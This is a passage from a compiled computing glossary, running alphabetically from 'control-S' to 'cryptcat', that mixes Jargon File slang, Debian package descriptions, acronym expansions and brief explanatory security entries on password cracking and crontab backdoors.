vi. "Stop talking for a second." From the ASCII DC3 or XOFF character (the pronunciation /X-of/ is therefore also used). Control-S differs from control-O in that the person is asked to stop talking (perhaps because you are on the phone) but will be allowed to continue when you're ready to listen to him -- as opposed to control-O, which has more of the meaning of "Shut up." Considered silly. 
convert-metadata.db
convert the GNOME metadata.db file from DB version 1.85 or 2 to DB 3 
cook
Powerful make replacement Cook is a very powerful and very easy to use replacement for make. Through the use of Cook's powerful description language, and it's many built in functions, sophisticated build can be easily accomplished. Cook supports file fingerprints to speed build times, and also supports parallel builds over a network without requiring contorted build rules. See cook-doc for documentation and cook-rsh for remote execution scripts 
cooked mode
A mode in which input is accepted command line by command line rather than character by character. Cooked mode, the default for the Linux system, is the opposite of raw mode. 
cooked mode
n. [Unix, by opposition from raw mode] The normal character-input mode, with interrupts enabled and with erase, kill and other special-character interpretations performed directly by the tty driver. Oppose raw mode, rare mode. This term is techspeak under Unix but jargon elsewhere; other operating systems often have similar mode distinctions, and the raw/rare/cooked way of describing them has spread widely along with the C language and other Unix exports. Most generally, `cooked mode' may refer to any mode of a system that does extensive preprocessing before presenting data to a program. 
Cookie
The most common meaning of "Cookie" on the Internet refers to a piece of information sent by a Web Server to a Web Browser that the Browser software is expected to save and to send back to the Server whenever the browser makes additional requests from the Server. Depending on the type of Cookie used, and the Browsers' settings, the Browser may accept or not accept the Cookie, and may save the Cookie for either a short time or a long time. Cookies might contain information such as login or registration information, online "shopping cart" information, user preferences, etc. When a Server receives a request from a Browser that includes a Cookie, the Server is able to use the information stored in the Cookie. For example, the Server might customize what is sent back to the user, or keep a log of particular users' requests. Cookies are usually set to expire after a predetermined amount of time and are usually saved in memory until the Browser software is closed down, at which time they may be saved to disk if their "expire time" has not been reached. Cookies do not read your hard drive and send your life story to the CIA, but they can be used to gather more information about a user than would be possible without them. 
cookietool
A team of programs to help you maintain your cookie database The ''cookietool'' itself eliminates duplicate entries, sorts cookies alphabetically or by size if you wish. The ''cdbsplit'' extracts parts of the database to a separate file, by keyword, by size, by number, or as groups of 'similar' cookies. The ''cdbdiff'' compares two cookie databases. 
COOL
COBOL Object Orientated Language (OOP, COBOL) 
Cool Linux CD
Cool Linux CD is a bootable CD that contains a live Linux distribution based on Red Hat 7.3. It also includes the XFS filesystem, devfs, IceWM, QVWM, ROX-filer, OpenOffice.org, Opera, Mozilla, Sylpheed, Pan, Licq, X-chat, GFTP, ppp-redialer, xmms, xine, mplayer, gqview, LinNeighborhood, IPTraffic, VMWare, and more. Initial version 1.30 was released August 13, 2002. Version 2.01 was released November 24, 2002. A CD-based distribution. 
cooledit
A portable, fast X Window text editor with beautiful 3D widgets. It requires only the X11 library to run. The engine is the same as that used for the internal editor of the Midnight Commander and hence cooledit represents a X Window version of that editor. The library that comes with Cooledit is now standalone. You can use it to write your own Cool applications. Check out the included programs Coolman and Smalledit. 
coolicon
Displays pixmap (.XPM) files as icons on the desktop. Each icon presents a menu (right-click) from where the user can perform various operations. Each icon has two user configurable scripts which are executed on receiving a drop event or on running the icon with a double-click. The icons scripts' as well as other properties can be modified through a dialog box accessible through each icon's menu. The scripts can directly manipulate a received drop event making it easy to program Trash Cans, Printer icons and so on. Several useful example icons are given. 
coolmail
Mail notifier with 3d graphics Coolmail is like xbiff -- it watches your inbox mail file and lets you know when you have mail. But unlike xbiff, it can launch your favorite mail utility when you click on it, and it has cool animated 3D graphics. 
coolman
Man page viewer using the Cool Widget library. This man page reader just views the output of the man system command, with a nice point and click, drag and drop, GUI. 
COOP
Concurrent Object Orientated Programming (OOP) 
COP
Character-Oriented Protocol 
COPA
Child Online Protection Act (Internet, USA, CIPA) 
COPYING
file
copyleft
/kop'ee-left/ n. [play on `copyright'] 1. The copyright notice (`General Public License') carried by GNU EMACS and other Free Software Foundation software, granting reuse and reproduction rights to all comers (but see also General Public Virus). 2. By extension, any copyright notice intended to achieve similar aims. 
copyleft
Free Software Foundation license notice that details the use and distribution rights of the licensed software and the user of that software. 
coq
a proof assistant for higher-order logic. Coq is a proof assistant for higher-order logic, which allows the development of computer programs consistent with their formal specification. It is developed using Objective Caml and Camlp4. 
CORAN
Communication ORiented Application aNalysis 
CORBA
an architecture and specification for creating, distributing, and managing distributed program objects in a network. 
CORBA
Common Object Request Broker Architecture (OMG) 
CORDIS
COmmunity Research and Development Information Service (Europe) 
core
A core file is created when a program terminates unexpectedly, due to a bug, or a violation of the operating systems or hardwares protection mechanisms. The operating system kills the program and creates a core file that programmers can use to figure out what went wrong. It contains a detailed description of the state that the program was in when it died. If would like to determine what program a core file came from, use the file command, like this: $ file core That will tell you the name of the program that produced the core dump. You may want to write the maintainer(s) of the program, telling them that their program dumped core. To Enable or Disable Core Dumps you must use the ulimit command in bash, the limit command in tcsh, or the rlimit command in ksh. See the appropriate manual page for details. This setting affects all programs run from the shell (directly or indirectly), not the whole system. If you wish to enable or disable core dumping for all processes by default, you can change the default setting in /usr/include/linux/sched.h. Refer to definition of INIT_TASK, and look also in /usr/include/linux/resource.h. PAM support optimizes the system's environment, including the amount of memory a user is allowed. In some distributions this parameter is configurable in the /etc/security/limits.conf file. From Linux Administrator's Security Guide.
core
n. Main storage or RAM. Dates from the days of ferrite-core memory; now archaic as techspeak most places outside IBM, but also still used in the Unix community and by old-time hackers or those who would sound like them. Some derived idioms are quite current; `in core', for example, means `in memory' (as opposed to `on disk'), and both core dump and the `core image' or `core file' produced by one are terms in favor. Some varieties of Commonwealth hackish prefer store. 
core dump
a copy of the contents of core, produced when a process is aborted by certain kinds of internal error. It is useful to determine the nature of a program crash. 
Core dump
In mainframe computing, a debugging technique that involved printing out the entire contents of the computer's core, or memory. In slang, the term refers to a person who, when asked a simple question, recites everything he or she remembers about a subject. 
core dump
n. [common Iron Age jargon, preserved by Unix] 1. [techspeak] A copy of the contents of core, produced when a process is aborted by certain kinds of internal error. 2. By extension, used for humans passing out, vomiting, or registering extreme shock. "He dumped core. All over the floor. What a mess." "He heard about X and dumped core." 3. Occasionally used for a human rambling on pointlessly at great length; esp. in apology: "Sorry, I dumped core on you". 4. A recapitulation of knowledge (compare bits, sense 1). Hence, spewing all one knows about a topic (syn. brain dump), esp. in a lecture or answer to an exam question. "Short, concise answers are better than core dumps" (from the instructions to an exam at Columbia). See core. 
coreutils
These are the GNU core utilities. This package is the union ofthe old GNU fileutils, sh-utils, and textutils packages.These tools're the GNU versions of common useful and popularfile & text utilities which are used for:- file management- shell scripts- modifying text file (spliting, joining, comparing, modifying, ...)Most of these programs have significant advantages over their Unix counterparts, such as greater speed, additional options, and fewer arbitrary limits. The following tools are included: basename cat chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false fmt fold ginstall groups head hostid hostname id join kill link ln logname ls md5sum mkdir mkfifo mknod mv nice nl nohup od paste pathchk pinky pr printenv printf ptx pwd rm rmdir seq sha1sum shred sleep sort split stat stty su sum sync tac tail tee test touch tr true tsort tty uname unexpand uniq unlink uptime users vdir wc who whoami yes 
corewars
The classic corewars game with gtk-look. Corewars is a game which simulates a virtual machine with a number of programs. Each program tries to crash the others. The program that lasts the longest time wins. A number of sample programs are provided and new programs can be written by the player. 
coriander
control IEEE1394 digital camera Coriander is a GUI that lets you control all the features of an IEEE-1394 Digital Camera complying with the DC Specifications v1.04 or later (see http://www.1394ta.org). 
corkscrew
Tunnel TCP connections through HTTP proxies corkscrew is a simple tool to tunnel TCP connections through an HTTP proxy supporting the CONNECT method. It reads stdin and writes to stdout during the connection, just like netcat. It can be used for instance to connect to an SSH server running on a remote 443 port through a strict HTTPS proxy. 
Corrupted file
A file that contains scrambled and unrecoverable data. Files can become corrupted due to bad sectors (surface flaws on the disk), hard or floppy disk drive controller failures, or software errors. 
COS
Card Operating System (OS, ICC) 
COS
Cassette Operating System (OS) 
COS
Class of Service 
COS
Clip On Socket (CPU) 
COS
Commercial Operating System (OS, DEC, PDP 11) 
COS
Concurrent Operating System (OS, UNIVAC 9200, UNIVAC 9300) 
COS
Corporation for Open Systems (org., OSI, user group) 
COS
Cray Operating System (OS, Cray) 
COSA
COmputerunterstuetzte SAchbearbeitung 
COSA
COmputing in der Sozialen Arbeit (Org, Koeln, Germany) 
COSE
Common Open Software Environment (HP, Sun, IBM, SCO, USL, Univel) 
COSINE
Cooperation for OSI Networking in Europe (org.) 
COSIX
Distribution and website are in Chinese. 
COSMOS
COmputer System for Mainframe OperationS 
COSS
Common Object Services Specification 
COST
COpenhagen SGML Tool (SGML), "CoST" 
cost
General-purpose SGML/XML post-processing tool. Cost is a structure-controlled SGML/XML application programming tool. It is implemented as a Tcl extension, and works in conjunction with James Clark's nsgmls, sgmls, and/or expat parsers. 
COT
Central Office Terminal 
COTP
Connection-Oriented Transport Protocol (OSI, ISO 8073) 
COTS
Connection-Oriented Transport [layer] Service 
countrycodes
ISO 3166 country code finder This ISO 3166 country code finder is mainly used to find out to which country a domain name belongs. It allows searching by 2- or 3-letter codes, country number, or country name. 
courier
Courier Mail Server Base System The Courier mail transfer agent (MTA) is an integrated mail/groupware server based on open commodity protocols, such as ESMTP, IMAP, POP3, LDAP, SSL, and HTTP. Courier provides ESMTP, IMAP, POP3, webmail, and mailing list services within a single, consistent, framework. This package provides the functionality needed by all Debian courier packages like some configuration files, helper programs and the Courier TCP server daemon. 
COW
Character Orientated Windows (MS, SAA, UI) 
cowsay
a configurable talking cow Turns text into happy ASCII cows, with speech balloons. 
Cox, Alan
An important developer of the Linux kernel including developing Linux networking, SMP. Other projects he has worked on include Linux/SGI, Linux/Mac68K, Linux/8086 ports, TV card drivers and Linux sound. 
Coyote Linux
Coyote Linux v1.x (Floppy Release) is designed to run entirely from a floppy and does not require a hard drive or CDROM to be present in the system that it runs on. Creation of a Coyote Linux floppy can be done with either a Linux shell script or a Windows Wizard, both of which are available from the Coyote Linux download sites. Coyote Linux 1.32 was released January 6, 2003. Development version 2.0.0-pre5 was released June 18, 2003. Another project, the Fury IP Load Balancer, has been spun off the ECL base. Wolverine Alpha 1, a firewall and VPN product based on Embedded Coyote, was released January 15, 2002. Wolverine 1.0.283 was released November 12, 2002. A floppy-based distribution. 
CP
Connection Processor 
CP
Control Point (IBM, SNA) 
CP
Control Program (IBM, OS, VM/ESA, VM) 
CP
Coordination Point (ISO 9646-3, TTCN) 
cp
copy files and directories 
CPAN
Comprehensive PERL Archive Network (PERL) 
cpanel
Debian Chinese Panel Debian Chinese Panel is a part of Debian Chinese Project. It aims to provide a user friendly interface for users to use Chinese in Debian GNU/Linux. Debian Chinese Panel is a program which can allow users to use/config Chinese software more easily. Another aim is that, users who want to use Chinese simply just install this package. 
cpbk
a mirroring utility for backing up your files Backup Copy is basically a smart copy program that allows a user to copy mass files from one place to another. When coping over a previous copy, the key features will allow coping only of new or non existing files in the backup. This results in saving time and less load on the drive. Built into the same feature of copying new files only, is a file removal procedure. If a file is removed from the source path, the same file will be removed when the next backup is performed. This provides a backup that is exactly the same as the source without filling up the drive. As an added option, all files that will be overwritten or deleted when doing a copy over a previous backup, have the opportunity to be stored in a trash bin. You can leave this trash bin to grow and grow just in case you need a backup of your backup. When you start running out of disk space you will need to remove or clean up the trash bin. 
CPC
Cost Per Copy 
CPCS
Common Part Convergence Sublayer (ATM) 
CPDP
Cellular Digital Packet Data 
CPE
Customer Premises Equipment 
CPF
Control Program Facility (OS, IBM, S/38) 
CPGA
Ceramic Pin Grid Array (CPU) 
CPH
Cost Per Hour 
CPI
Characters Per Inch 
CPI
Common Part Indicator (ATM) 
CPI
Common Programming Interface (IBM, SAA) 
CPI
Computer Private branch exchange Interface 
CPIC
Common Programming Interface for Communications (IBM, SAA, API), "CPI/C" 
cpif
selectively update files 
cpio
copy files to and from archives 
CPIO
CoPy In/Out (Unix) 
cpio
GNU cpio -- a program to manage archives of files. GNU cpio is a tool for creating and extracting archives, or copying files from one place to another. It handles a number of cpio formats as well as reading and writing tar files. This package also includes rmt, the remote tape server, and GNU mt, a tape drive control program. The mt program is essential for magnetic tape drive users. Debian's version of GNU mt supports SCSI tape drives. 
cpio
GNU cpio copies files into or out of a cpio or tar archive. Archives are files which contain a collection of other files plus information about them, such as their file name, owner, timestamps, and access permissions. The archive can be another file on the disk, a magnetic tape, or a pipe. GNU cpio supports the following archive formats: binary,old ASCII, new ASCII, crc, HPUX binary, HPUX old ASCII, old tar and POSIX.1tar. By default, cpio creates binary format archives, so that they are compatible with older cpio programs. When it is extracting files from archives, cpio automatically recognizes which kind of archive it is readingand can read archives created on machines with a different byte-order. Install cpio if you need a program to manage file archives. 
CPIRR
Common Programming Interface Resource Recovery (IBM, SAA) 
CPL
Combined Programming Language (DEC, PL/1) 
CPL
Conversational Programming Language (DEC) 
cplay
A front-end for various audio players cplay provides a user-friendly interface to play various types of sound files. It offers a simple file list with which you can navigate around looking for audio files and a playlist to which you can add the files you want to play. cplay can play the songs in your playlist in repeat or random mode, and offers the option to store the playlist. Currently, the following audio formats are supported: MP3 (through madplay, mpg321 or splay), Ogg Vorbis (through ogg123), MOD and other module formats (through mikmod). 
CPLD
Complex Programmable Logic Device (PLD, IC, RL) 
CPM
Control Program for Microcomputers (OS, DR), "CP/M" 
CPM
Cost Per Minute 
CPM
Critical Path Method 
CPMS
Central Point Management Services (Central Point) 
cpmtools
Tools to access CP/M file systems This package allows to access CP/M file systems similar to the well-known mtools package, which accesses MSDOS file systems. All CP/M file system features are supported. 
CPN
Calling Party Number 
CPN
Compuserve Packet Network (network) 
CPN
Customer Premises Network 
CPNET
Control Program / NETwork (CP/M, OS), "CP/NET" 
CPNOS
Control Program / ??? (CP/NET, CP/M, OS), "CP/NOS" 
CPODA
Contention Priority Orientated Demand Assignment (MAC, PODA) 
cpp
Cpp is the GNU C-Compatible Compiler Preprocessor. Cpp is a macroprocessor which is used automatically by the C compiler to transformyour program before actual compilation. It is called a macro processor because it allows you to define macros (abbreviations for longerconstructs). The C preprocessor provides four separate functionalities: the inclusion of header files (files of declarations that can besubstituted into your program); macro expansion (you can define macros and the C preprocessor will replace the macros with their definitions throughout the program); conditional compilation (using specialpreprocessing directives, you can include or exclude parts of the program according to various conditions); and line control (if you use a program to combine or rearrange source files into an intermediate file which is then compiled, you can use line control to inform the compiler about where each source line originated). 
cpp
The GNU C preprocessor. The GNU C preprocessor is a macro processor that is used automatically by the GNU C compiler to transform programs before actual compilation. This package has been separated from gcc for the benefit of those who require the preprocessor but not the compiler. This is a dependency package providing the default GNU C preprocessor for Debian GNU/Linux systems (version 2.95.4 for architecture i386). 
CPPS
Card / Paper tape Programming System (OS, IBM) 
cppunit
The Unit Testing Library for C++ CppUnit is a simple Framework for incorporating test cases in your C++ code. It is similar to, and inspired by, xUnit and JUnit. For more information on CppUnit visit the project homepage http://cppunit.sourceforge.net/ . 
cproto
generate C function prototypes and convert function definitions Cproto is a program that generates function prototypes and variable declarations from C source code. It can also convert function definitions between the old style and the ANSI C style. This conversion overwrites the original files, so make a backup copy of your files in case something goes wrong. 
CPS
Central Processing System 
CPS
Characters Per Second 
CPSI
Configurable PostScript Interpreter 
CPSR
Computer Professionals for Social Responsibility (org., USA) 
CPU
Central Processing Unit 
CPU
see central processing unit (CPU). 
CPU cache
A memory bank between the main memory and the CPU, which lets the computer read data and execute instructions faster. 
CPUID
Central Processing Unit IDentifier (CPU) 
cpuid
Intel and AMD x86 CPUID display program The program displays the vendor ID, Processor specific features, the processor name string, different kinds of instruction set extensions present, L1/L2 Cache information etc for the Processor on which it is running. 
cqcam
Color QuickCam (PC/Parallel) control program gtkcam - camera with gtk libs xcqcam - cam for X11 / control panel by tk cqcam - capture a single picture, does not require X Features: * Automatic brightness and color adjustments * Batchable output, perfect for a webcam * Support for "millions" (24bpp) and "billions" (32bpp) modes * Nearly lossless on-the-fly despeckling (removal of the "Christmas lights" effect) * X11 front-end and control panel, with Floyd dithering for 8bpp displays * Support for images up to 640x480 * 24-bit PPM output 
CR
Carriage Return (ASCII) 
crack
To decrypt a password, or to bypass a copy protection scheme. See crackz for more about copy protection. History: When the UNIX operating system was first developed, passwords were stored in the file /etc/passwd. This file was made readable by everyone, but the passwords were encrypted so that a user could not figure out who a person's password was. The passwords were encrypted in such a manner that you could test a password to see if it was valid, but you really couldn't decrypt the entry. (Note: not even administrators are able to figure out user's passwords; they can change them, but not decrypt them). However, a program called "crack" was developed that would simply test all the words in the dictionary against the passwords in /etc/passwd. This would find all user accounts whose passwords where chosen from the dictionary. Typical dictionaries also included people's names since a common practice is to choose a spouse's or child's name. Contrast: A "crack" program is one that takes existing encrypted passwords and attempts to find some that are "weak" and easily discovered. However, it is not a "password guessing" program that tries to login with many passwords, that is known as a grind Key point: The sources of encrypted passwords typically include the following: /etc/passwd from a UNIX system SAM or SAM._ from a Windows NT system <username>.pwl from a Windows 95/98 system sniffed challenge hashes from the network Key point: The "crack" program is a useful tool for system administrators. By running the program on their own systems, they can quickly find users who have chosen weak passwords. In other words, it is a policy enforcement tool. Tools: on UNIX, the most commonly used program is called simply "crack". On Windows, a popular program is called "l0phtCrack" from http://www.l0pht.com/. 
crack-attack
multiplayer OpenGL puzzle game like "Tetris Attack" Crack Attack is an OpenGL puzzle game based on the Super Nintendo game "Tetris Attack". Slowly, your stack of colored blocks grows from the bottom, and you've got to make sure it never reaches the top. If it does, you lose. To eliminate blocks from the stack, line up at least three of one color, horizontally or vertically. Once you do, those blocks disappear, and put off slightly your inevitable demise. Crack Attack is very slow without hardware acceleration. For XFree users, this means you want DRI. 
Cracker
A computer user who illegally visits networked computers to look around and/or cause harm. A criminal. From Glossary of Distance Education and Internet Terminology
cracker
A specific type of hacker who decrypts passwords or breaks software copy protection schemes (creating "crackz"). Also, a generic name used by some to refer to all "malicious" hackers. Controversy: This work is extremely controversial. See the word hacker for a discussion about the way that "cracker" is used in the computer enthusiast community vs. the security community. 
cracker
One who explores and exploits flaws in computer systems and networks for malicious purposes. 
cracklib
CrackLib tests passwords to determine whether they match certainsecurity-oriented characteristics, with the purpose of stopping users from choosing passwords that are easy to guess. CrackLib performs several tests on passwords: it tries to generate words from a username and gecos entry and checks those words against the password; it checksfor simplistic patterns in passwords; and it checks for the password in a dictionary. CrackLib is actually a library containing a particular C function which is used to check the password, as well as other Cfunctions. CrackLib is not a replacement for a passwd program; it must be used in conjunction with an existing passwd program. Install the cracklib package if you need a program to check users'passwords to see if they are at least minimally secure. If you install CrackLib, you will also want to install the cracklib-dicts package. 
cracklib-dicts
The cracklib-dicts package includes the CrackLib dictionaries. CrackLib will need to use the dictionary appropriate to your system, which is normally put in /usr/share/dict/words. Cracklib-dicts also containsthe utilities necessary for the creation of new dictionaries. If you are installing CrackLib, you should also install cracklib-dicts. 
cracklib-runtime
A pro-active password checker library Run-time support programs which use the shared library in cracklib2 including programs to build the password dictionary databases used by the functions in the shared library. 
cracklib2
A pro-active password checker library Shared library for cracklib2 which contains a C function which may be used in a passwd like program. The idea is simple: try to prevent users from choosing passwords that could be guessed by crack by filtering them out, at source. cracklib2 is NOT a replacement passwd program. cracklib2 is a LIBRARY. 
CRAFT
Cray Research Adaptive FORTRAN (Cray, MPP, FORTRAN) 
craft
Warcraft 2-like multi-player real-time strategy game You are a Viking and have to lead a nation. Your main task is to command citizens; you can tell them to harvest resources, or to build one of the 9 building types. The ultimate goal is to create enough knights, catapults etc. to wipe out the competing civilizations. You can play against other humans by sending a window to their X display, or against a pretty clever AI. 
crafted
Map editor for FreeCraft, the free WarCraft II clone. This is the map or from the FreeCraft Project, a realtime strategy game compatible with WarCraft II. This is the latest snapshot from the CVS repository. 
CRAM
Cache RAM (RAM) 
CRAM
Card Random Access Memory (RAM, IC) 
cramfsprogs
Tools for CramFs (Compressed ROM File System). This package contains tools that let you construct a CramFs (Compressed ROM File System) image from the contents of a given directory, as well as checking a constructed CramFs image and extracting its contents. Cram file systems are used for Debian INITRD images. 
crank
A classical CRypto ANalysis toolKit Crank is short for "CRyptANalysis toolKit", and its overall purpose is to provide a powerful and extensible environment for solving classical (pen-and-paper) ciphers, providing as much automation as possible. Classical ciphers include common schemes like monoalphabetic substitutions, where each letter of the alphabet is mapped to another (usually different) letter consistently through the text. The first version of Crank is restricting itself to these special ciphers. Other algorithms forever devoid of Crank's attentions include Enigma, RSA, DES, MurkelFish, or anything else invented after 1900. 
CRAS
Cable Repair Administrative System 
crash
1. n. A sudden, usually drastic failure. Most often said of the system (q.v., sense 1), esp. of magnetic disk drives (the term originally described what happens when the air gap of a hard disk collapses). "Three lusers lost their files in last night's disk crash." A disk crash that involves the read/write heads dropping onto the surface of the disks and scraping off the oxide may also be referred to as a `head crash', whereas the term `system crash' usually, though not always, implies that the operating system or other software was at fault. 2. v. To fail suddenly. "Has the system just crashed?" "Something crashed the OS!" See down. Also used transitively to indicate the cause of the crash (usually a person or a program, or both). "Those idiots playing SPACEWAR crashed the system." 3. vi. Sometimes said of people hitting the sack after a long hacking run; see gronk out. 
crash
A kernel debugging utility, allowing gdb like syntax. The core analysis suite is a self-contained tool that can be used to investigate either live systems, kernel core dumps created from the Kernel Core Dump patch offered by Mission Critical Linux, or kernel core dumps created by the LKCD patch offered by SGI. o The tool is loosely based on the SVR4 crash command, but has been completely integrated with gdb in order to be able to display formatted kernel data structures, disassemble source code, etc. o The current set of available commands consist of common kernel core analysis tools such as a context-specific stack traces, source code disassembly, kernel variable displays, memory display, dumps of linked-lists, etc. In addition, any gdb command may be entered, which in turn will be passed onto the gdb module for execution. o There are several commands that delve deeper into specific kernel subsystems, which also serve as templates for kernel developers to create new commands for analysis of a specific area of interest. Adding a new command is a simple affair, and a quick recompile adds it to the command menu. o The intent is to make the tool independent of Linux version dependencies, building in recognition of major kernel code changes so as to adapt to new kernel versions, while maintaining backwards compatibility. 
Crash Recovery Kit
The Crash Recovery Kit for Linux is based on Red Hat Linux. It can be used as a recovery disc for lots of systems, not just Linux. All Linux filesystems as well as FAT16 and FAT32 are supported. Version 2.4.18 was released March 31, 2002. A CD-based distribution. 
crashmail
JAM and *.MSG capable Fidonet tosser CrashMail II is basically a more portable version of CrashMail, a tosser for Amiga computers. Users of the old Amiga version will probably find some things familiar while some features are gone such as the ARexx port (for obvious reasons!) and the GUI configuration editor. The only feature that CrashMail II has and the old CrashMail hasn't is support for JAM messagebases. 
crashme
Stress tests operating system stability crashme generates strings of random bytes and then attempts to execute them. Used to test kernel stability. **WARNING** While Linux has been known to survive days and weeks of crashme, IT IS NOT GUARANTEED THAT YOUR SYSTEM WILL SURVIVE! DO NOT USE THIS PROGRAM UNLESS YOU REALLY WANT TO CRASH YOR COMPUTER 
crawl
Dungeon Crawl, a text-based roguelike game Crawl is a fun game in the grand tradition of games like Rogue, Hack, and Moria. Your objective is to travel deep into a subterranean cave complex and retrieve the Orb of Zot, which is guarded by many horrible and hideous creatures. 
CRC
Cyclic Redundancy Check[sum] 
CRC (Cyclic Redundancy Check)
A form of a checksum that is able to detect accidental transmission errors. It is used on Ethernet in order to detect packet errors. It is also used on some operating systems in order to detect accidental errors in programs before running them. Key point: Like a checksum, a CRC is not able to detect intentional changes. You must use a cryptographic hash for that. 
CRCG
Common Routing Connection Group 
CRCG
[fraunhofer] Center for Research in Computer Graphics (org., USA) 
CRD
Color Rendering Dictionary (PS) 
createdisk
Plex86 Empty Disk Image Utility This tool is part of the Plex86 project. Its purpose is to generate disk images that are used to allocate the guest operating system in Plex86 environment. It can be useful for other programs that also make use of disk images, like Bochs. 
credentials
Your authentication information, such as a password, token, or certificate. Since not all systems require a password to login, we use the more abstract term "credentials" to refer to this information. 
CREN
Corporation for Research and Educational Networking (network) 
CRET
Color - Resolution Enhancement Technology (HP), "C-REt" 
CRFVC
Connection Related Function Virtual Channel (UPC, UNI), "CRF(VC)" 
CRFVP
Connection Related Function Virtual Path (UPC, UNI), "CRF(VP)" 
CRI
Cray Research, Inc. (manufacturer) 
cricket
Program for collection and display of time-series data This is Cricket. It is a configuration, polling, and data-display engine wrapped around the RRD tool by Tobias Oetiker. There are three user-visible pieces to Cricket: the collector, the grapher, and the config tree. The collector runs from cron and fetches data from a number of devices according to the info it finds in the config tree. The grapher is a CGI application that allows users to traverse the config tree from a web browser and see the data that the collector recorded. 
CRIMM
Continuity Rambus Inline Memory Module (RIMM, IC, Rambus) 
crimson
A hex-based tactical game Crimson Fields is a hex-based tactical war game in the tradition of Battle Isle (tm). Two players command their units on a map of hexagons, trying to accomplish mission objectives ranging from defending important locations to simply destroying all enemy forces. The game can either be played in 'hot seat' mode or via email. There's no AI opponent, yet. A simple editor can be used to create custom level files. 
CRIN
Centre de Recherche en Informatique de Nancy (org., France) 
CRISC
Complex-Reduced Instruction Set Computer 
CRISP
Complex-Reduced Instruction Set Processor 
criticalmass
Shoot-em-up a la galaxian criticalmass, aka critter, is a shootemup in the style of Galaxian with very colorful and smooth graphics (provided that you have 3d acceleration) Note: criticalmass uses OpenGL, and will probably not run well if you do not have a 3d accelerator which is supported by X. 
CRJE
Conversational Remote Job Entry (RJE) 
CRL
Certificate Revocation List 
CRL
Compile-time Reconfigurable Logic (RL) 
crlf
/ker'l*f/, sometimes /kru'l*f/ or /C-R-L-F/ n. (often capitalized as `CRLF') A carriage return (CR, ASCII 0001101) followed by a line feed (LF, ASCII 0001010). More loosely, whatever it takes to get you from the end of one line of text to the beginning of the next line. See newline, terpri. Under Unix influence this usage has become less common (Unix uses a bare line feed as its `CRLF'). 
CRLF
Carriage Return - Line Feed (ASCII, DOS) 
CRM
Customer Relationship Management 
cron
A daemon for UNIX and UNIX-compatible operating systems which executes commands and processes at arbitrary times specified by a user or application. 
Cron
A Linux daemon that executes specified tasks at a designated time or interval (can be daily, weekly, etc....). 
cron
management of regular background processing cron is a background process (`daemon') that runs programs at regular intervals (for example, every minute, day, week or month); which processes are run and at what times are specified in the `crontab'. Users may also install crontabs so that processes are run on their behalf, though this feature can be disabled or restricted to particular users. Output from the commands is usually mailed to the system administrator (or to the user in question); you should probably install a mail system as well so that you can receive these messages. This cron package is configured by default to do various standard system maintenance tasks, such as ensuring that logfiles do not grow endlessly and overflow the disk. The lockfile-progs package is only a "Suggests" because of the poor way that dselect handles "Recomments", but I do strongly suggest that you install it; it prevents /etc/cron.daily/standard from running multiple times if something gets jammed. 
cron
On UNIX, the cron daemon automated background tasks (such as backups or rotating the logs). It is really the simplest of programs; it reads instructions from a file and executes the appropriate programs at the scheduled time. Key point: When the machine is compromised, intruders will often put backdoor jobs into the crontab. When the victim tries to clean up his/her machine, the jobs in the crontab will run giving the intruder control again. This sort of thing happened in the famous attack against the New York Times; they kept cleaning up the machine, but cron kept giving control back to the intruder. Typically, these jobs would run during the wee hours of the morning when nobody is looking. 
cron-apt
Automatic update of packages using apt This package contains a tool that is run by a cron job at regular intervals. By default it just updates the package list and download new packages without installing. You can instruct it to run anything that you can do with apt-get. It also sends mail (configurable) to the system administrator on errors. Observe that this tool is a security risk, so you should not set it to do more than necessary (automatic upgrade of all packages is NOT recommended). 
cronolog
Logfile rotator for web servers A simple program that reads log messages from its input and writes them to a set of output files, the names of which are constructed using template and the current date and time. The template uses the same format specifiers as the Unix date command (which are the same as the standard C strftime library function). It intended to be used in conjunction with a Web server, such as Apache, to split the access log into daily or monthly logs: TransferLog "|/usr/sbin/cronolog /var/log/apache/%Y/access.%Y.%m.%d.log" A cronosplit script is also included, to convert existing traditionally-rotated logs into this rotation format. 
cronosii
fast, light-weight and functional GNOME e-mail client Cronos II is a powerful GNOME e-mail client. It has been designed to be fast, light, user-friendly, yet strong. Its strength resides in the extended configuration, that the user can manage dynamically without touching any code at all. The friendly aspect resides in the intuitive interface and in the simplicity of the environment and in the full compatibility with the GNOME Project. 
crontab
A short name for file /var/lib/crontab, which contains a list of Linux commands to be performed at specific times. A system administrator can use crontab as an automatic timer to trigger the initiation of important jobs. 
crontabs
The crontabs package contains root crontab files. Crontab is theprogram used to install, uninstall or list the tables used to drive thecron daemon. The cron daemon checks the crontab files to see when particular commands are scheduled to be executed. If commands are scheduled, it executes them. Crontabs handles a basic system function, so it should be installed on your system. 
crossfire-client
Base Client Side of the game Crossfire. Crossfire is "a multiplayer graphical arcade and adventure game made for the X environment. It has certain flavours from other games, especially Gauntlet (TM) and Nethack/Moria. Any number of players can move around in their own window, finding and using items and battle monsters. They can choose to cooperate or compete in the same 'world'." This program can operate stand alone if you have access to a remote server. Playing with sounds will require rplay, also. This package contains no binaries 
crossfire-server
Server for Crossfire Games This is the server program for the crossfire client Crossfire is a multiplayer graphical arcade and adventure game made for the X environment. It has certain flavours from other games, especially Gauntlet (TM) and Nethack/Moria. Any number of players can move around in their own window, finding and using items and battle monsters. They can choose to cooperate or compete in the same "world". 
CRP
Candidate Rendezvous Point (PIM, RP, Multicast), "C-RP" 
CRP
Common Reference Platform (PowerPC) 
CRPC
Center for Research on Parallel Computation (STC) 
CRS
Cell Relay Service (UNI, ATM) 
CRT
Cathode Ray Tube 
CRT
Computer Technology Research [corporation] (provider) 
CRTC
Cathode Ray Tube Controller (EGA, VGA, MCGA) 
cruft
Find any cruft built up on your system cruft is a program to look over your system for anything that shouldn't be there, but is; or for anything that should be there, but isn't. It bases most of its results on dpkg's database, as well as a list of `extra files' that can appear during the lifetime of various packages. cruft is still in pre-release; your assistance in improving its accuracy and performance is appreciated. 
CRUX
CRUX is a lightweight, i686-optimized Linux distribution targeted at experienced Linux users. The primary focus of this distribution is "keep it simple", which is reflected in a simple tar.gz-based package system, BSD-style initscripts, and a relatively small collection of trimmed packages. The secondary focus is utilization of new Linux features and recent tools and libraries. Version 1.1 was released March 24, 2003. 
crypt++el
Emacs-Lisp Code for handling compressed and encrypted files Code for handling all sorts of compressed and encrypted files like: .gz, .tar.gz, .Z, .zip, PGP etc. 
cryptcat
